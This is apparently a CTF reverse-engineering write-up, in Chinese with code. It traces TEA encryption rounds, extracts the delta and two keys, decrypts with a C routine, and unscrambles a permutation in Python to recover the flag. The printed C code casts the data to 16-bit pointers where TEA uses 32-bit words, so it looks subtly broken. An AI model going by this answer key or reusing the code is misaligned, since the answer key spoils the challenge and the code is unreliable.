('0x16c187b70', '((0x2cfddbd3+((((0xf423cd80<<0x4)+k1)^(0xf423cd80+((((0x11111108+delta)+delta)+delta)+delta)))^((0xf423cd80>>0x5)+k2)))+((((0xfe53ddb7<<0x4)+k1)^(0xfe53ddb7+(((((0x11111108+delta)+delta)+delta)+delta)+delta)))^((0xfe53ddb7>>0x5)+k2)))+((((0x11bc9ede<<0x4)+k1)^(0x11bc9ede+((((((0x11111108+delta)+delta)+delta)+delta)+delta)+delta)))^((0x11bc9ede>>0x5)+k2))')
('0x111ef5390', '0x11bc9ede+((((0x6c187b70<<0x4)+k3)^(0x6c187b70+(((((((0x11111108+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x6c187b70>>0x5)+k4))')
('0x1053aa687', '0x6c187b70+((((0x11ef5390<<0x4)+k1)^(0x11ef5390+(((((((0x11111108+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x11ef5390>>0x5)+k2))')
('0x14a3f0e60', '(0x11ef5390+((((0x53aa687<<0x4)+k3)^(0x53aa687+((((((((0x11111108+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x53aa687>>0x5)+k4)))+(((((0x53aa687+(((((0x11ef5390+((((0x53aa687<<0x4)+k3)^(0x53aa687+((((((((0x11111108+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x53aa687>>0x5)+k4)))<<0x4)+k1)^((0x11ef5390+((((0x53aa687<<0x4)+k3)^(0x53aa687+((((((((0x11111108+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x53aa687>>0x5)+k4)))+((((((((0x11111108+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^(((0x11ef5390+((((0x53aa687<<0x4)+k3)^(0x53aa687+((((((((0x11111108+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x53aa687>>0x5)+k4)))>>0x5)+k2)))<<0x4)+k3)^((0x53aa687+(((((0x11ef5390+((((0x53aa687<<0x4)+k3)^(0x53aa687+((((((((0x11111108+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x53aa687>>0x5)+k4)))<<0x4)+k1)^((0x11ef5390+((((0x53aa687<<0x4)+k3)^(0x53aa687+((((((((0x11111108+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x53aa687>>0x5)+k4)))+((((((((0x11111108+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^(((0x11ef5390+((((0x53aa687<<0x4)+k3)^(0x53aa687+((((((((0x11111108+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x53aa687>>0x5)+k4)))>>0x5)+k2)))+(((((((((0x11111108+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^(((0x53aa687+(((((0x11ef5390+((((0x53aa687<<0x4)+k3)^(0x53aa687+((((((((0x11111108+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x53aa687>>0x5)+k4)))<<0x4)+k1)^((0x11ef5390+((((0x53aa687<<0x4)+k3)^(0x53aa687+((((((((0x11111108+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x53aa687>>0x5)+k4)))+((((((((0x11111108+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^(((0x11ef5390+((((0x53aa687<<0x4)+k3)^(0x53aa687+((((((((0x11111108+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x53aa687>>0x5)+k4)))>>0x5)+k2)))>>0x5)+k4))')
('0x212dd8d34', '(0x53aa687+(((((0x11ef5390+((((0x53aa687<<0x4)+k3)^(0x53aa687+((((((((0x11111108+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x53aa687>>0x5)+k4)))<<0x4)+k1)^((0x11ef5390+((((0x53aa687<<0x4)+k3)^(0x53aa687+((((((((0x11111108+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x53aa687>>0x5)+k4)))+((((((((0x11111108+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^(((0x11ef5390+((((0x53aa687<<0x4)+k3)^(0x53aa687+((((((((0x11111108+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x53aa687>>0x5)+k4)))>>0x5)+k2)))+((((0x4a3f0e60<<0x4)+k1)^(0x4a3f0e60+(((((((((0x11111108+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x4a3f0e60>>0x5)+k2))')
('0x22d62c152', '(0x4a3f0e60+((((0x12dd8d34<<0x4)+k3)^(0x12dd8d34+((((((((((0x11111108+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x12dd8d34>>0x5)+k4)))+(((((0x12dd8d34+(((((0x4a3f0e60+((((0x12dd8d34<<0x4)+k3)^(0x12dd8d34+((((((((((0x11111108+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x12dd8d34>>0x5)+k4)))<<0x4)+k1)^((0x4a3f0e60+((((0x12dd8d34<<0x4)+k3)^(0x12dd8d34+((((((((((0x11111108+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x12dd8d34>>0x5)+k4)))+((((((((((0x11111108+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^(((0x4a3f0e60+((((0x12dd8d34<<0x4)+k3)^(0x12dd8d34+((((((((((0x11111108+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x12dd8d34>>0x5)+k4)))>>0x5)+k2)))<<0x4)+k3)^((0x12dd8d34+(((((0x4a3f0e60+((((0x12dd8d34<<0x4)+k3)^(0x12dd8d34+((((((((((0x11111108+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x12dd8d34>>0x5)+k4)))<<0x4)+k1)^((0x4a3f0e60+((((0x12dd8d34<<0x4)+k3)^(0x12dd8d34+((((((((((0x11111108+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x12dd8d34>>0x5)+k4)))+((((((((((0x11111108+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^(((0x4a3f0e60+((((0x12dd8d34<<0x4)+k3)^(0x12dd8d34+((((((((((0x11111108+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x12dd8d34>>0x5)+k4)))>>0x5)+k2)))+(((((((((((0x11111108+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^(((0x12dd8d34+(((((0x4a3f0e60+((((0x12dd8d34<<0x4)+k3)^(0x12dd8d34+((((((((((0x11111108+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x12dd8d34>>0x5)+k4)))<<0x4)+k1)^((0x4a3f0e60+((((0x12dd8d34<<0x4)+k3)^(0x12dd8d34+((((((((((0x11111108+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x12dd8d34>>0x5)+k4)))+((((((((((0x11111108+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^(((0x4a3f0e60+((((0x12dd8d34<<0x4)+k3)^(0x12dd8d34+((((((((((0x11111108+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x12dd8d34>>0x5)+k4)))>>0x5)+k2)))>>0x5)+k4))')
('0x13c3ff952', '(0x12dd8d34+(((((0x4a3f0e60+((((0x12dd8d34<<0x4)+k3)^(0x12dd8d34+((((((((((0x11111108+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x12dd8d34>>0x5)+k4)))<<0x4)+k1)^((0x4a3f0e60+((((0x12dd8d34<<0x4)+k3)^(0x12dd8d34+((((((((((0x11111108+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x12dd8d34>>0x5)+k4)))+((((((((((0x11111108+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^(((0x4a3f0e60+((((0x12dd8d34<<0x4)+k3)^(0x12dd8d34+((((((((((0x11111108+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x12dd8d34>>0x5)+k4)))>>0x5)+k2)))+((((0x2d62c152<<0x4)+k1)^(0x2d62c152+(((((((((((0x11111108+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x2d62c152>>0x5)+k2))')  
('0x10bce2611', '0x2d62c152+((((0x3c3ff952<<0x4)+k3)^(0x3c3ff952+((((((((((((0x11111108+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0x3c3ff952>>0x5)+k4))')
('0x1ee7d493c', '0x3c3ff952+((((0xbce2611<<0x4)+k1)^(0xbce2611+((((((((((((0x11111108+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0xbce2611>>0x5)+k2))')
('0x1a35b9c36', '0xee7d493c+(((((0xbce2611+((((0xee7d493c<<0x4)+k3)^(0xee7d493c+(((((((((((((0x11111108+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0xee7d493c>>0x5)+k4)))<<0x4)+k1)^((0xbce2611+((((0xee7d493c<<0x4)+k3)^(0xee7d493c+(((((((((((((0x11111108+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0xee7d493c>>0x5)+k4)))+(((((((((((((0x11111108+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^(((0xbce2611+((((0xee7d493c<<0x4)+k3)^(0xee7d493c+(((((((((((((0x11111108+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0xee7d493c>>0x5)+k4)))>>0x5)+k2))')
('0x10fedcb98', '(((((((((((((0x11111108+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta')
('0x11106065b', '(0xbce2611+((((0xee7d493c<<0x4)+k3)^(0xee7d493c+(((((((((((((0x11111108+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)+delta)))^((0xee7d493c>>0x5)+k4)))+((((0xa35b9c36<<0x4)+k3)^(0xa35b9c36+0xfedcb98))^((0xa35b9c36>>0x5)+k4))')
('0x148954659', '0x1106065b+(((((0xa35b9c36+((((0x1106065b<<0x4)+k1)^(0x1106065b+0xfedcb98))^((0x1106065b>>0x5)+k2)))<<0x4)+k3)^((0xa35b9c36+((((0x1106065b<<0x4)+k1)^(0x1106065b+0xfedcb98))^((0x1106065b>>0x5)+k2)))+(0xfedcb98+delta)))^(((0xa35b9c36+((((0x1106065b<<0x4)+k1)^(0x1106065b+0xfedcb98))^((0x1106065b>>0x5)+k2)))>>0x5)+k4))')
('0x2a71219b0', '(0xa35b9c36+((((0x1106065b<<0x4)+k1)^(0x1106065b+0xfedcb98))^((0x1106065b>>0x5)+k2)))+((((0x48954659<<0x4)+k1)^(0x48954659+(0xfedcb98+delta)))^((0x48954659>>0x5)+k2))')
('0x17de5c3a5', '0xa71219b0+(((((0x48954659+((((0xa71219b0<<0x4)+k3)^(0xa71219b0+((0xfedcb98+delta)+delta)))^((0xa71219b0>>0x5)+k4)))<<0x4)+k1)^((0x48954659+((((0xa71219b0<<0x4)+k3)^(0xa71219b0+((0xfedcb98+delta)+delta)))^((0xa71219b0>>0x5)+k4)))+((0xfedcb98+delta)+delta)))^(((0x48954659+((((0xa71219b0<<0x4)+k3)^(0xa71219b0+((0xfedcb98+delta)+delta)))^((0xa71219b0>>0x5)+k4)))>>0x5)+k2))')
('0x1d6f673f6', '(0x48954659+((((0xa71219b0<<0x4)+k3)^(0xa71219b0+((0xfedcb98+delta)+delta)))^((0xa71219b0>>0x5)+k4)))+((((0x7de5c3a5<<0x4)+k3)^(0x7de5c3a5+(((0xfedcb98+delta)+delta)+delta)))^((0x7de5c3a5>>0x5)+k4))')

中间断掉的过程,很可能是程序内部自己进行的加法运算,不过已经问题不大了。

有很明显的TEA的逻辑,我们可以得到

delta = 0x12345678
k = ['0xd30a286e', '0xca2410fd', '0x4ec10fc6', '0xe98cd7d9']
这里的k是xixi,当然它加密后还会走一波,以haha作为key

解TEA:

#include <stdint.h>
#include <stdio.h>

void decrypt (uint32_t* v, uint32_t* k) {
    uint32_t v0=v[0], v1=v[1], sum=0x12345678*(32), i;  /* set up */
    uint32_t delta=0x12345678;                     /* a key schedule constant */
    uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3];   /* cache key */
    for (i=0; i<32; i++) {                         /* basic cycle start */
        v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
        v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
        sum -= delta;
    }                                              /* end cycle */
    v[0]=v0; v[1]=v1;
}

int main() {
    uint32_t v[] = {1386864498, 2877138732, 1628978326, 881564191, 1437614165, 4227562200, 1606883458, 3679355295};
    uint32_t k1[] = {3540658286, 3391361277, 1321275334, 3918321625}; // xixi 
    uint32_t k2[] = {1272471749, 2262110437, 697301573, 1088211398}; // haha
    for (int i = 0; i < 8; i += 2) {
        decrypt((uint16_t *)v+i, k2);
    } 
    for (int i = 0; i < 8; i += 2) {
        decrypt((uint16_t *)v+i, k1);
    }
    puts(v);
}
// 3t00n3}Cv_l_@l1Cnyh1g0fgt_3{hann

恢复顺序

sbox = [12, 17, 10, 6, 5, 27, 31, 15, 11, 8, 13, 21, 24, 1, 26, 22, 9, 16, 18, 25, 29, 19, 0, 3, 7, 14, 30, 4, 23, 2, 28, 20]
MA = [sbox.index(i) for i in range(32)]
s = "3t00n3}Cv_l_@l1Cnyh1g0fgt_3{hann"
flag = ""
for i in MA:
    flag+=s[i]
print(flag)
# flag{n0t_n0v3l_Cyth0n_Ch@113ng3}